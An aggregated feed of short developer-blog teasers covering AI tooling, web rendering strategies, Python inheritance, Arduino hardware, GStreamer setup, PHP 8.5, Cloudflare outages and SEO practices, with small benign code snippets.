    Streamlining PrestaShop: How AI Uncovers the Power of MCP Tools For any PrestaShop e-commerce manager, the grind of repetitive duties like generating sales reports or meticulous inventory audits can quickly consume valuable time and hinder growth. Enter the PS MCP Server and the MCP Tools Plus module: a duo designed to integrate an AI assistant directly into your online store. These innovative solutions aren't about a grand technological overhaul; they focus on practical problem-solving – saving countless hours on data analysis, automating routine reports, and empowering swift, data-backed decision-making. This article explores the synergy between these tools, without delving into deep technicalities. We will examine common operational hurdles, highlight the core capabilities of MCP Tool…  ( 12 min )
    Gemini 3 Pro vs GPT 5.1: which is better? A Complete Comparison
    Both OpenAI’s GPT-5.1 and Google’s Gemini 3 Pro represent incremental but meaningful steps in the ongoing arms race for general-purpose, multimodal AI. GPT-5.1 is a refinement of the GPT-5 line — focusing on adaptive reasoning, lower latency for simple tasks, and stylistic/personality controls for more natural conversational tone. Google’s Gemini 3 Pro pushes the frontier on multimodality, deep reasoning modes, and tight tooling for agentic workflows. GPT-5.1 (OpenAI) and Gemini 3 Pro Preview (Google/DeepMind) target overlapping but distinct tradeoffs: GPT-5.1 focuses on faster adaptive reasoning, developer workflows and coding reliability with new agent/coding tools and token/cost optimizations; Gemini 3 Pro doubles down on extreme multimodal scale (video/audio/images + very large context…  ( 14 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Summary Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 cult classic Weird Science on The Ringer’s Rewatchables, unpacking its mix of teen fantasy, sex, drugs, rock ’n’ roll and standout turns from Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo and sponsored by State Farm, this episode is a fun, nostalgia-packed romp. Don’t forget to subscribe to The Ringer-Verse and Bill Simmons YouTube channels and follow Ringer on Twitter, Facebook and Instagram for more deep dives! Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    CinemaSins just dropped “Everything Wrong With The Wiz In 15 Minutes Or Less,” using Wicked’s big-screen comeback as an excuse to blaze down the yellow brick road and roast every musical misstep and wardrobe whoopsie of the ’78 classic. Spoiler alert: it’s surprisingly more entertaining than you remember. Want more sin? Hit up their Linktree for the latest videos, toss them a coin on Patreon, and junk-mail Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel on Twitter. You can also join the chatter on Discord, Reddit, Instagram, and TikTok. Watch on YouTube  ( 6 min )
    Sector HQ Weekly Digest - November 19, 2025
    Sector HQ Weekly Digest - November 19, 2025 Who's shipping vs who's just talking? Here's this week's AI industry intelligence. OpenAI - Score: 530124.7 | 343 events this week Anthropic - Score: 253535.7 | 51 events this week Google - Score: 158934.0 | 125 events this week Amazon - Score: 135271.9 | 22 events this week Microsoft - Score: 134009.8 | 99 events this week Nvidia - Score: 124577.5 | 161 events this week Meta - Score: 94628.0 | 61 events this week Apple - Score: 76821.9 | 94 events this week Perplexity - Score: 47342.6 | 3 events this week DeepMind - Score: 41453.5 | 8 events this week ↑ Sony jumped 277 positions to #68 ↑ Stability AI jumped 183 positions to #76 ↑ Bytedance jumped 143 positions to #52 ↑ Scale AI jumped 122 positions to #43 ↑ Palantir jumped 107 positions to #17 No high hype alerts this week Total companies tracked: 100 Total events this week: 1317 Average activity per company: 13.2 events The AI industry continues to evolve rapidly. Companies that ship consistently rise in our rankings, while those focused on hype alone get flagged by our Hype Gap detector. Methodology: Our leaderboard tracks real product releases, funding events, partnerships, and market traction - not just PR and social media buzz. Want real-time updates? Check out the live leaderboard at sectorhq.co Track specific companies and get instant alerts when they move in the rankings. Tags AI #ArtificialIntelligence #MachineLearning #TechIndustry #Startups #AILeaderboard  ( 6 min )
    Introducing Domenico Tenace Open Labs: A New Home for Open Source Innovation 🚀
    Overview Hello everyone 👋 Today I'm excited to share something I've been working on that's pretty close to my heart: Domenico Tenace Open Labs, my new GitHub organization dedicated to open source projects. If you're wondering why I decided to create this, well, it's simple: I wanted a centralized space where all my open source work could live, breathe, and grow with the help of the community. No more scattered repos, no more confusion about where to find what. Just a clean, organized digital lab where developers can explore, use, contribute, and learn together. Let's start! 🤙 You might be asking yourself: "Why not just keep everything in your personal GitHub account?" Fair question! Here's the thing: as my projects started to grow, I realized they needed a proper home. An organization …  ( 9 min )
    Trusting AI Models With TEEs - Private, Decentralized, Verified Part 2
    In the first part, I referenced DeAI and how Oasis suggests a combination of RONL (runtime on-chain logic, Sapphire confidential EVM) and ROFL (runtime off-chain logic, framework) components, with SGX and TDX TEEs, pave the groundwork for trustworthy AI models. Here, I will show fine-tuning of an LLM in Oasis TEE and publishing provenance information on-chain. Fine-tuning an LLM in a TEE In this experiment, we will try to integrate a GPU-enabled TEE with Oasis. We will use fine-tuning for a sample machine learning (ML) task where we will teach a new fact to an existing foundation model. This ML task is set up using a server with AMD SEV-SNP and an NVIDIA H100 to run a confidential VM in accordance with NVIDIA’s deployment guide. The confidential VM shares an initialization script with th…  ( 8 min )
    [Boost]
    🔍 difit: Preview GitHub-like diffs locally before you push Yuji Ueki ・ Jul 18 #git #cli #productivity #devtools  ( 6 min )
    How I Designed a Modular, Event-Driven Architecture for Real-Time Voice AI
    Most voice AI systems today are built as a fixed chain: STT → LLM → TTS → Audio Output. This works for demos, but falls apart the moment you need: Custom business logic CRM integrations Multi-agent routing Knowledge lookups Scheduling flows Post-call actions Pipeline branching Swappable providers (Claude vs GPT, Deepgram vs Whisper, etc.) So for EchoStack, I scrapped the idea of a “voice bot pipeline” entirely and built a voice automation platform powered by an event-driven orchestration layer. Here’s how the architecture works — and why it has completely changed what’s possible with real-time AI. Not STT. Just pure audio transport: User Mic → LiveKit → EchoStack EchoStack → LiveKit → User Speaker Inside EchoStack, every audio frame becomes an event: processing.livekit.audio_frame This…  ( 8 min )
    🧠 What 7 Years in .NET Development Taught Me About Software Craftsmanship
    After a decade of building systems in .NET from small internal tools to large-scale enterprise platforms. I’ve learned that great software isn’t just about code. It’s about craftsmanship. Here are 10 lessons that stuck with me 👇 1️⃣ Clean code always wins long-term. Quick fixes impress today, but clarity impresses for years. 2️⃣ Patterns are tools, not rules. Don’t force CQRS, DDD, or Clean Architecture unless they solve your actual problem. 3️⃣ Tests are your safety net. Nothing feels better than refactoring confidently because your tests have your back. 4️⃣ Readability > Cleverness. Future-you (and your teammates) will thank you. 5️⃣ Don’t optimize prematurely. Measure first, then act. Performance tuning starts with data, not assumptions. 6️⃣ Understand business logic deeply. The best developers write code that solves the right problem, not just the technical one. 7️⃣ Refactoring is a continuous process. Not a one-time event after the sprint ends. 8️⃣ Learn beyond .NET. Architecture, DevOps, design, and communication matter as much as C#. 9️⃣ Mentorship amplifies your impact. Teaching others sharpens your own skills — and lifts the team. 🔟 Humility keeps you growing. The moment you think you’ve mastered it all, you stop learning. After 7 years, I’ve realized: “Being a Senior developer isn’t about knowing everything — it’s about knowing what truly matters.” 💬 What’s one lesson you learned in your software journey?  ( 7 min )
    How to Create High-Performance 3D Product Viewers Using Three.js + React for Modern eCommerce Stores
    Hi, I am a technology consultant at a leading software, web, mobile and eCommerce development company based in India and the USA. Last week, one of our clients requested a 3D product viewer for their eCommerce store, and our developers wanted to explore more about how to build fast 3D product viewers using React and Three.js. So we created detailed content to help both developers and merchants understand how 3D viewers work and how they can boost conversions in modern eCommerce stores. Let’s begin! 3D product experiences are no longer “future emerging tech”; they are now driving real conversions for online eCommerce stores. With Three.js, React, and lightweight 3D model formats like GLTF/GLB, developers can build immersive product viewers that help customers understand products better, red…  ( 8 min )
    🔐 Control a Solenoid Lock with Arduino Mega (Using a Relay & Push Button)
    Introduction Welcome back, makers! 👋 In this project, you’ll learn how to lock and unlock a solenoid lock using: 1. Arduino Mega 2. A relay module 3. 12V power supply 4. Simple push button Breadboard Jumper wires(male to male and male to female) By the end, you’ll push a button → the solenoid will pull → the lock will OPEN. Push the button again → the solenoid releases → the lock goes back to LOCKED. Let’s dive in! Component Image Description Arduino Mega Microcontroller to read button and control relay 12V Solenoid Lock The physical locking mechanism Relay Module (5V Control) Acts as a switch to send 12V to the solenoid 12V Power Adapter Powers the solenoid and Arduino Push Button Triggers lock/unlock Breadboard & Jumper Wires For easy wiring Here’s the wiring…  ( 8 min )
    The New Analytics Stack: Data Views Tools Agents
    The New Analytics Stack: Data → Views → Tools → Agents The modern analytics stack has quietly gone through a massive shift. It's no longer about dashboards—in fact, it's barely about interfaces anymore. We're moving into a world where "chatting with your data" becomes the primary way teams get answers. Dashboards were built for a different era: Static views: Dashboards show what someone decided was important when they built it. They don't adapt to new questions or changing priorities. Predefined slices: You can only see data the way the dashboard designer structured it. Want to see it differently? Build a new dashboard. Horizontal summaries: Dashboards show high-level metrics across many dimensions, but they can't go deep. They show you that revenue is up 20%, but not why. Useful, sure—b…  ( 16 min )
    Spring's Core Concepts: Bean, Container, and Context Explained
    Hi Everyone , I am new to learning Spring Framework and have started to write about the topics I am learning , sharing them here about the same. Spring Bean If you're diving into the Spring Framework, you've probably encountered terms like Spring Bean, Spring Container, and ApplicationContext. These concepts are the foundation of what makes Spring so powerful and flexible. Think of them as the essential building blocks for your modern Java application. 🧱 What is a Spring Bean? POJO with a twist: A bean is essentially a Plain Old Java Object (POJO) that Spring manages. Managed Lifecycle: Spring controls the entire lifecycle of a bean, from its creation and initialization to the injection of its dependencies and eventual destruction. Definition: You tell Spring which classes should become b…  ( 7 min )
    How not to disappear from the office one minute before closing time
    Practical survival strategies for the modern office ecosystem. There’s a magical moment in every office: exactly 4:58 PM. Leave too early, and people notice. Here’s how to master the balance: 3:45 PM — Slowly close a browser tab. Preferably the one with a recipe for lasagna. 4:30 PM — Take a deep, purposeful sigh, as if you’re solving the world’s problems. 4:58 PM — Open an Excel sheet. Stare at it like it’s the night sky. 5:00:01 PM — Stand up gracefully, as if someone gently unplugged you. 5:01 PM — Walk out calmly, like someone who always finishes on time. Even if that’s a small fib. Do it right, and no one will notice the last 40 minutes you were mentally already on the couch. There’s an unspoken theory: if a team member sits quietly and never complains, they must be availab…  ( 7 min )
    TypeScript vs. JavaScript: Which One Should You Use in 2025?
    The age-old debate – What’s better for development: JavaScript or TypeScript? Okay, maybe it isn’t an age-old conundrum, but it does make several developers scratch their heads before beginning a web development undertaking. Before we dive into these languages (or offshoots of the same language) and discuss their differences as well as which one we believe you should use in your next project, let’s have a look at exploring what they are if you are new to them. JavaScript is an interpreted programming language that allows us to build amazing features on web pages – at least that’s how it would have been defined a couple of years ago – but JavaScript no longer refers to the programming language that simply aids HTML and CSS in building fabulous websites by controlling the behavior of fea…  ( 17 min )
    The Missing Layer Between Data and AI Agents
    Structured Endpoints: The Missing Layer Between Data and AI Agents APIs are too rigid, databases are too risky. We believe structured endpoints—governed views that agents can query safely—are the missing piece that makes AI agents actually work in production. Every time I talk to teams building AI agents, they hit the same wall: how do you give agents access to data? Option 1: Direct database access. Fast, flexible, powerful. Also: security nightmare, governance impossible, performance unpredictable. Agents can query anything, see everything, and bring down your database with a single bad query. Option 2: APIs. Secure, controlled, documented. Also: rigid, limited, slow. APIs expose predefined endpoints with fixed schemas. Agents can only do what the API designer thought of. New questions…  ( 17 min )
    Stop Wasting LLM Tokens: Introducing CTON (Compact Token-Oriented Notation)
    If you are building applications with Large Language Models (LLMs), you are likely familiar with the "Token Tax." Every character you send to an API like OpenAI or Anthropic costs money and eats into your context window. We’ve spent decades treating JSON as the gold standard for data serialization, and for good reason—it's readable and ubiquitous. But JSON is chatty. It loves whitespace, it demands quotes around every key, and it uses heavy punctuation ({, }, [, ]) that adds up quickly when you are sending thousands of records in a prompt. Enter CTON (Compact Token-Oriented Notation). CTON is an aggressively minified, shape-preserving data format designed specifically for LLM interactions. It strips away the syntactic sugar humans like (indentation, excessive quoting) but keeps the structu…  ( 8 min )
    My views dropped like a bag of bricks the last 2 - 3 weeks
    The Best AI Articles Dev.to Won’t Show You Isaac Hagoel ・ Nov 18  ( 6 min )
    The Secret Life of Python: MRO Secrets - The Diamond Problem Solved
    Timothy stared at his screen in disbelief. "Margaret, I don't understand what's happening. I have a simple inheritance hierarchy - a LoggingMixin and a ValidationMixin that both inherit from BaseMixin, and my User class inherits from both. But when I call super().__init__(), methods are being called in a completely bizarre order. Sometimes the same method gets called twice, sometimes it skips methods entirely. What is going on?" He showed her his code: class BaseMixin: def __init__(self): print("BaseMixin.__init__") super().__init__() class LoggingMixin(BaseMixin): def __init__(self): print("LoggingMixin.__init__") super().__init__() class ValidationMixin(BaseMixin): def __init__(self): print("ValidationMixin.__init__") super().…  ( 27 min )
    Neural Networks as a Catalyst for the Evolution of Online Learning
    In today’s rapidly evolving digital landscape, neural networks are reshaping nearly every industry they touch—and education is no exception. Imagine having an intelligent, always-available assistant that guides you through your learning journey with ease. This vision is becoming reality thanks to large language models (LLMs), widely adopted in education under the term LLM4EDU. These advanced systems are transforming how we teach, learn, and understand student progress in ways that once seemed impossible. How LLM4EDU Is Reshaping Learning Neural network–driven tools are already making a significant impact across many educational activities: Virtual Experiments: Students can perform science experiments in safe, simulation-based environments with no logistical constraints. Exam Preparation: P…  ( 8 min )
    Engineering Apps to Scale (Without Breaking)
    Great apps don’t break because of traffic — they break because they were never engineered for it. There’s a moment every developer hits: Most apps run fine at 100 users. Scaling isn’t luck. Early success tricks you. Your API feels fast because only five people are testing it. The real question isn’t: That’s where real engineering begins. Scalable systems don’t emerge by accident. 1. Go Stateless Wherever Possible Stateless services scale horizontally with ease. 2. Cache Like Your Life Depends on It Good caching reduces 60–80% of load. Memory cache Local DB cache Network cache Server cache Offline-first is more than convenience — it’s resilience. 3. Optimize First-Contact Experiences The critical path determines whether users stay or bounce. App launch Login …  ( 7 min )
    JSON is Costing You Money: Enter TOON - the Format Built for LLMs
    If you are building with Large Language Models (LLMs), you are essentially a logistics manager. Your job is to ship information from your database to an AI’s brain and back again, as efficiently as possible. For years, we’ve defaulted to JSON because it is the lingua franca of the web. But have you ever looked at a 50-item JSON list inside a prompt window? It’s a sea of repetitive keys, curly braces, and wasted tokens. In the world of GenAI, context is currency. Every token you waste on syntax is a token you can't use for reasoning, history, or creativity. Enter TOON (Token-Oriented Object Notation). It’s not just "another standard". It is a purpose-built syntax designed to fix the specific headaches of communicating with AI. Today, let's pop the hood, look at some complex examples, and se…  ( 9 min )
    📌 How to build a context-first cloud collaboration model
    When I first started managing cloud projects, every workspace felt disconnected. But I learned quickly: without shared context, automation stalls, standards drift, and AI has nothing to reason from. The fundamentals don’t change. But here’s the reality. The challenge is fragmentation. The opportunity is convergence. A context-first cloud model isn’t just collaboration. Ps: lmk if you would like to check the GitHub repo that we created Check the video here 👉 https://www.youtube.com/watch?v=DRId14gyYnk  ( 6 min )
    How to Sync Anything: Building a Sync Engine from Scratch — Part 2
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    Cloud-Based Android Testing: Comparing Infrastructure Options for Development Teams
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    How to start a speech like a PRO
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    Analyzing LinkedIn Job Postings: Skill Extraction & Clustering
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    WordPress 6.9 Is Sneaking In a Feature That’s Way More Useful Than It Sounds
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    Advanced RAG: LongRAG, Self-RAG and GraphRAG Explained
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    Narrative Alchemist
    Hello everyone! Like many of you here, I often face creative blocks and the "blank page" problem. That feeling when you have a vague image in your head but can't assemble it into a strong, well-thought-out story is probably familiar to everyone. After trying countless methods, I ended up creating a tool for myself that doesn't write for me, but helps me understand my own ideas. It works like a structured brainstorming session with myself. I called it "Narrative Alchemist". What's the core idea? This is not an AI text generator. It's a foundation generator for your story. The tool helps you: Overcome the emptiness of the blank page by offering hundreds of non-obvious ideas through genre hybrids and paradoxes. Think deeper about conflict — not just "hero vs villain," but a clash of differen…  ( 7 min )
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    When Cloudflare Went Down: The Day the Internet Remembered Cloud Isn’t Invincible
    Cloud outages feel a lot like sudden rain — you never know when it hits, and when it does, everyone runs for cover. In June 2024, Cloudflare, the backbone behind nearly 20% of global web traffic, went down. And just like that, platforms we rely on every day — ChatGPT, X, Spotify, Canva — all threw the dreaded: “500 Internal Server Error” It was the kind of digital storm that reminds us: even the strongest cloud isn’t unbreakable. When a network this big fails, the internet doesn’t bend — it buckles. Millions of API calls fail Streaming apps freeze SaaS dashboards stop loading Support centers get flooded Teams scramble to diagnose what they don’t control It’s a surreal moment where the entire world remembers: The cloud is powerful — but not invincible. While the internet was panic…  ( 7 min )
    Why We Need Chiplets: The Challenges Facing the Semiconductor Industry and How They Help
    The semiconductor industry is under growing pressure to deliver higher performance, lower power consumption, and reduced cost per transistor. However, as process technologies continue to shrink, the traditional monolithic SoC model is reaching both physical and economic limits. Larger dies are more expensive to produce and have lower yield, while not all functions scale efficiently at smaller geometries. The industry’s answer is chiplet-based design. Chiplets enable splitting complex systems into smaller, specialized dies that are easier to manufacture, optimize, and verify. They offer a practical path forward for innovation, cost control, and sustainable scaling. 1. Chiplets and the Semiconductor Industry Problems They Solve Figure 1: Comparison of monolithic SoC and chiplet-based archit…  ( 9 min )
    API Seamless Upgrade Solution: Architectural Evolution from Push Mode to Pull Mode
    Someone on Zhihu asked a question: How to achieve smooth upgrades for Java microservice API version compatibility? In microservice architecture, frequent service iterations lead to increasing differences in API versions, while the upgrade pace of clients (such as Apps, Web frontends) often lags behind. This frequently causes compatibility issues and can even lead to online failures. Common version control strategies, such as adding version numbers in the URL path (/v1/user) or using request headers to distinguish versions, although they can clearly differentiate between different versions, also bring the heavy cost of maintaining multiple versioned interfaces and increase the adaptation difficulty for clients. This article will analyze the root cause of this problem and introduce how the N…  ( 10 min )
    Neo and NBitcoin blockchain projects vs. static analyzer. Who wins?
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    Answer: React-PDF Slow Performance with large PDF, reneders unneccessarily.
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    When I Grow Up, I Want to Be a Bid Writer!
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    コスト削減と自由度アップ!商用ツールからオープンソースへの乗り換え15選
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    10+ Trending Animated UI Component Libraries 🔥 (2025 Edition)
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    Unlocking Robot Agility: The Swarm Intelligence Secret
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    Top 5 Trending APM Tools to Explore
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    I originally posted this post on my blog. Finding good bad examples is hard. I've worked with ugly codebases that I don't want to revisit. But copying and pasting from them isn't a good idea. Apart from privacy issues, complex business rules and convoluted code blocks make them unusable for tutorials or lessons. A good bad example needs to be messy enough to teach from, but not so broken it confuses readers. Since we have all seen a good movie or gone to the cinema, I've shifted to movies and TV shows. They're familiar enough to use as examples. In fact, for my book, Street-Smart Coding, I chose a ticket pricing example that was clear but messy enough to teach a lesson. Here it is: // Simple ticket price logic float CalculatePrice(MovieTicketRequest request) { var ticketBasePrice = 40…  ( 7 min )
    Welcome Thread - v352
    Leave a comment below to introduce yourself! You can talk about what brought you here, what you're learning, or just a fun fact about yourself. Reply to someone's comment, either with a question or just a hello. 👋 Come back next week to greet our new members so you can one day earn our Warm Welcome Badge!  ( 6 min )
    React Concepts Explained: Part 1 - Core Fundamentals
    React is packed with terminology that can sound intimidating at first—components, JSX, props, state, and hooks. But don't worry! In this two-part series, we'll break down every major React concept into simple, easy-to-understand explanations. Part 1 (this post) covers the essential fundamentals you need to start building React apps. Part 2 will dive into advanced patterns for building production-ready applications. By the end of this post, you'll understand the core building blocks of React and be ready to create your first interactive components! What are they? Components are the foundation of every React app. They're reusable pieces that represent visible parts of your UI—like buttons, inputs, forms, or entire pages. Why are they useful? Think of components like Lego blocks. Once you …  ( 13 min )
    mobile app
    Check out this Pen I made!  ( 5 min )
    Setup Gstreamer with Python on Windows
    When I started trying GStreamer with Python on Windows 10, it took me quite some time to set up the development environment. So this might help others on the way. The most convenient approach is through MSYS2. Here are the steps: 1.Download and install MSYS2: https://www.msys2.org. Remember [msys2_path] for environment variable. 2.Install Python, GStreamer, tools, plugins, and PyGObject Open MSYS2 UCRT64 terminal Update MSYS2 pacman -Syu. After this, the terminal may close; you need to open it again. Install gcc pacman -S mingw-w64-ucrt-x86_64-gcc Install Python, GStreamer, tools, plugins, and PyGObject pacman -S mingw-w64-x86_64-python3 mingw-w64-x86_64-gstreamer mingw-w64-x86_64-gst-devtools mingw-w64-x86_64-gst-plugins-{base,good,bad,ugly} mingw-w64-x86_64-python3-gobject Add the following paths to ~/.bashrc export PATH="/mingw64/bin:$PATH" export XDG_DATA_DIRS="/mingw64/share/:$XDG_DATA_DIRS" Apply bashrc: source ~/.bashrc 3.Test: run this on the terminal pip install pygobject python -c "import gi; gi.require_version('Gst', '1.0'); from gi.repository import Gst; print(Gst.version_string())"  ( 6 min )
    Cloudflare Outage Explained: How One Company Took Down Huge Parts of the Internet — Including X
    When large parts of the internet suddenly stop working, most people assume their Wi-Fi is down or their devices are acting up. But sometimes, the cause is far bigger. That was the case today when a major outage at Cloudflare, one of the most influential companies behind the scenes of the web, caused widespread disruptions across websites, apps, and online services—including X (formerly Twitter). For many users, this raised a simple question: How can one company affect such a massive portion of the internet? To understand the answer, we need to dig into what Cloudflare does, why so many companies rely on it, and how even a rare disruption can feel like the internet is collapsing. Cloudflare is a global internet infrastructure and security company, and millions of websites use it every day—e…  ( 9 min )
    🧱 SSR vs SSG vs ISR: Choosing the Right Rendering Strategy in 2025
    The web in 2025 is faster, smarter, and more dynamic than ever. But how your app renders still determines whether users stay or bounce. Let’s decode SSR, SSG, and ISR — and which one truly wins today. SSR generates HTML on-demand for every request. Frameworks like Next.js, Angular Universal, and Nuxt.js shine here. SEO-friendly and fast first paint. Always delivers the latest data. Heavier server load. Slower on repeated requests. export async function getServerSideProps() { const data = await fetchAPI(); return { props: { data } }; } SSG builds pages once at build time — lightning-fast delivery with CDN caching. Instant page loads. Super cost-effective and scalable. Data becomes stale until rebuild. export async function getStaticProps() { const posts = await fetchPosts(); return { props: { posts } }; } ISR is the hybrid approach — it combines SSG’s speed with SSR’s freshness by rebuilding pages in the background. Near real-time updates. Great balance of performance and data accuracy. export async function getStaticProps() { const posts = await fetchPosts(); return { props: { posts }, revalidate: 60, // Rebuild every 60s }; } Feature SSR SSG ISR In 2025, ISR is the sweet spot — it gives you the speed of SSG with the freshness of SSR. For pure static content, go SSG. For real-time dashboards, choose SSR. But if you want both — ISR is your best friend.  ( 7 min )
    Day 48 of 100 days dsa coding challenge
    Taking on a new challenge: solving GeeksforGeeks POTD daily and sharing my solutions! 💻🔥 Problem: https://www.geeksforgeeks.org/problems/number-of-ways-to-arrive-at-destination/1 Path With Minimum Effort Difficulty: Medium Accuracy: 53.13% You are given a 2D array mat[][], of size n*m. Your task is to find the minimum possible path cost from the top-left cell (0, 0) to the bottom-right cell (n-1, m-1) by moving up, down, left, or right between adjacent cells. Examples: Input: mat[][] = [[2, 2, 2, 1], Constraints: Solution: while pq: d, x, y = heapq.heappop(pq) if (x,y) == (n-1,m-1): return d for dx, dy in [(1,0),(-1,0),(0,1),(0,-1)]: nx, ny = x+dx, y+dy if 0<=nx<n and 0<=ny<m: nd = max(d, abs(mat[nx][ny] - mat[x][y])) if nd < dist[nx][ny]: dist[nx][ny] = nd heapq.heappush(pq, (nd, nx, ny))  ( 7 min )
    Kiro Did It: Kiro Goes GA - And Replaces My Favorite CLI!
    Kiro Goes GA - And It Just Replaced My Favorite CLI! AWS announced the General Availability of Kiro on 11/17/25, and the update included several new features that immediately caught my attention. I have already appreciated Kiro for its vibe coding, specs-driven development approach, MCP integrations, and hooks. However, the most notable change for me was the introduction of the Kiro CLI and its seamless integration with the Kiro IDE. I had originally planned to explore the Kiro CLI over the upcoming weekend… but little did I know my exploration would take a surprising turn. Goodbye Q CLI, Hello Kiro CLI! While checking the documentation, I discovered something unexpected: Kiro CLI has officially replaced the Amazon Q Developer CLI In other words : one of my favorite dev tool CLIs got repl…  ( 7 min )
    SQL as Contract vs. Python as Procedure — a Short Note on Atlas vs. Alembic
    SQL as Contract vs. Python as Procedure — a Short Note on Atlas vs. Alembic The useful question isn’t “which tool is better?” but “what is our source of truth?” If your team wants the database schema itself—its tables, constraints, and indexes—to be the contract you review and protect, you’ll likely prefer a declarative, SQL‑first approach (Atlas‑style). If your team prefers to encode change as Python steps that live next to application code, you’ll likely prefer an imperative, script‑first approach (Alembic‑style). Declarative (state‑based) thinking starts from the destination. You write down the desired schema and let the tool compute a plan from current → desired. Review happens in the database’s language (DDL), not through an ORM’s interpretation. Because the plan is derived, it tends …  ( 7 min )
    Quesby 0.1.2 is now available!
    A lightweight static website boilerplate built on Eleventy and Nunjucks. https://github.com/quesby/quesby-boilerplate https://quesby.dev  ( 6 min )
    Methods and primitive type in JS
    JavaScript is designed on an object-based paradigm. How we use methods on primitives type🤔? How does JavaScript handle them? Let's go deep into it.🤗✌️ Primitive values null undefined string number bigint boolean symbol For example: let message="hello"; console.log(message.toUpperCase()); We said methods are actions that can be performed on object. But string is a primitive type so the JS engine highly optimize this process: JavaScript automatically boxes primitives into relevant objects when it encounters method calls on them.(Boxing) That method runs and returns a new value. const message=new String("hello"); The special object is destroyed, leaving the primitive string alone.(UnBoxing) The "object wrappers" are different for each primitive type and are called: String, Number, Boolean, Symbol and BigInt. Thus they provide different sets of methods. Null and undefined have no methods null and undefined are exceptions. They have no corresponding “wrapper objects” and provide no methods. In a sense, they are “the most primitive”.  ( 6 min )
    uniapp里 rich-text 里的img图片如何控制最大宽度
    uniapp里的富文本展示的时候,要控制里面的图片的最大宽度; //处理富文本里的图片宽度限制的样式 processedDetail(html) { if(!html){ return ''; } // 处理方法1: 强制替换所有图片样式 html = html.replace(/]*>/g, (imgTag) => { // 移除 width 和 height 属性 imgTag = imgTag.replace(/(width|height)=["'][^"']*["']/g, ''); // 处理 style 属性 if (imgTag.includes('style=')) { // 移除原有的 width/height 样式,添加 max-width imgTag = imgTag.replace(/style=["']([^"']*)["']/, (match, style) => { style = style.replace(/(width|height|max-width)[^;]*;?/g, ''); return `style="${style}max-width: 100% !important; height: auto !important; display: block;"`; }); } else { // 没有 style 属性,直接添加 imgTag = imgTag.replace('<img', '<img style="max-width: 100% !important; height: auto !important; display: block;"'); } return imgTag; }); return html; }  ( 6 min )
    Vibe Coding 🌟 With Google Antigravity
    TL,DR; I used Google Antigravity to roll out a feature improvement on the blog using Google Antigravity in under an hour! The task was to upgrade the Weekly Macro Report section of my blog, shifting from a manual coding approach to "vibe coding." The session resulted in refactoring the content structure to support historical archiving, updating the GitHub workflow to save reports chronologically, and enhancing the AI generation prompt with Google Search grounding for better accuracy. If you are not familiar, I implemented the "Weekly Macro Report" using Github Actions and Gemini 2.5 Pro API using AI Studio. The Github Action calls the Gemini API with a predefined prompt and saves the response to a markdown file. The markdown file is then rendered by Hugo and displayed on the website. Thi…  ( 7 min )
    🐘 PHP 8.5: 10 New Features, 4 Deprecations, and Why This Release Matters to Modern PHP Developers
    After two years of steady evolution, PHP is preparing to ship another major update — PHP 8.5, scheduled for release in November 2025. As someone who builds production-grade applications daily, I see PHP 8.5 as a meaningful step forward. It isn’t as disruptive as the JIT introduction in PHP 8.0, but it brings a collection of practical improvements that enhance developer experience, safety, and performance. PHP continues its journey toward becoming a more expressive and modern language — while still keeping the clarity and pragmatism we rely on. Here’s my breakdown of what’s new, what’s going away, and why this release is worth paying attention to. For developers working with long-running scripts, queue workers, or background tasks, this is a welcome upgrade. pcntl_async_signals(true); pcntl…  ( 8 min )
    8 Developer-Friendly SEO Workflows That Make SaaS Products More Discoverable
    Many SaaS engineers think SEO is “a marketing thing”, but in reality, it is deeply technical. When developers take ownership of search structure, load time, and scalability, the entire product becomes easier for users and search engines to understand. While reviewing insights from experts like MADX, I noticed that the most successful SaaS SEO strategies are built by development teams who integrate search optimization into their daily workflow. Here are eight effective workflows dev teams can adopt. 1. Semantic HTML structure Proper tags improve both accessibility and Google’s ability to interpret content. 2. Automated sitemap generation Dynamic SaaS products often create pages on the fly. 3. Lazy loading Use lazy loading for images and components to improve page performance. 4. Component-level performance profiling Profiling components reveals rendering bottlenecks that slow down key pages. 5. Pre-rendering for complex JavaScript Heavily JavaScript-driven SaaS dashboards often lose rankings because Google cannot fully interpret them. 6. Global CDN routing Routing content through a global CDN improves load times for international users. 7. Versioned documentation Developers who maintain versioned documentation create evergreen search assets automatically. 8. Git-based SEO fixes Treat SEO improvements like regular dev tasks. Final Thoughts Developers shape the foundation of search performance more than marketers realize. By integrating structured workflows like these, engineering teams can significantly increase product discoverability and long-term SEO stability.  ( 7 min )
    7 Technical SEO Practices Every Developer-Led SaaS Should Implement in 2025
    Developer-led SaaS products have a huge advantage: technical teams understand structure, architecture, and performance better than anyone. But even with that advantage, many dev-founded projects fail to grow because they overlook SEO fundamentals. I was reviewing several case studies from companies like MADX, and it’s clear that technical SEO is still one of the highest-impact levers for SaaS growth. Here are seven actionable practices developers can integrate into their workflow today. 1. Architecture-first SEO Developers who map their site structure before writing content create stronger search outcomes. 2. API-friendly content generation Using your product’s API to generate dynamic, updated content creates indexable value. Trend dashboards Public uptime history Real-time stats pages Google rewards freshness and utility at scale. 3. Core Web Vitals Most developers know them, but few optimize consistently. CLS stability LCP improvement Input delay reduction High performance directly correlates with higher organic conversion. 4. Log file analysis Analyzing server logs helps identify how Googlebot interacts with your site. 5. Error monitoring systems Treat SEO issues like bugs. Crawl errors Broken internal links Page spikes Slowdowns This keeps organic traffic stable. 6. Schema markup Structured data is becoming increasingly important. 7. Accessible UI components Accessibility affects search performance more than ever. Final Thoughts Developer-led SaaS teams have the technical power to outperform competitors in SEO. The strategies above take advantage of that strength by aligning code, structure, and search intent with long-term discoverability.  ( 7 min )
    How GitHub Copilot Uses MCP Tools — Behind the Scenes
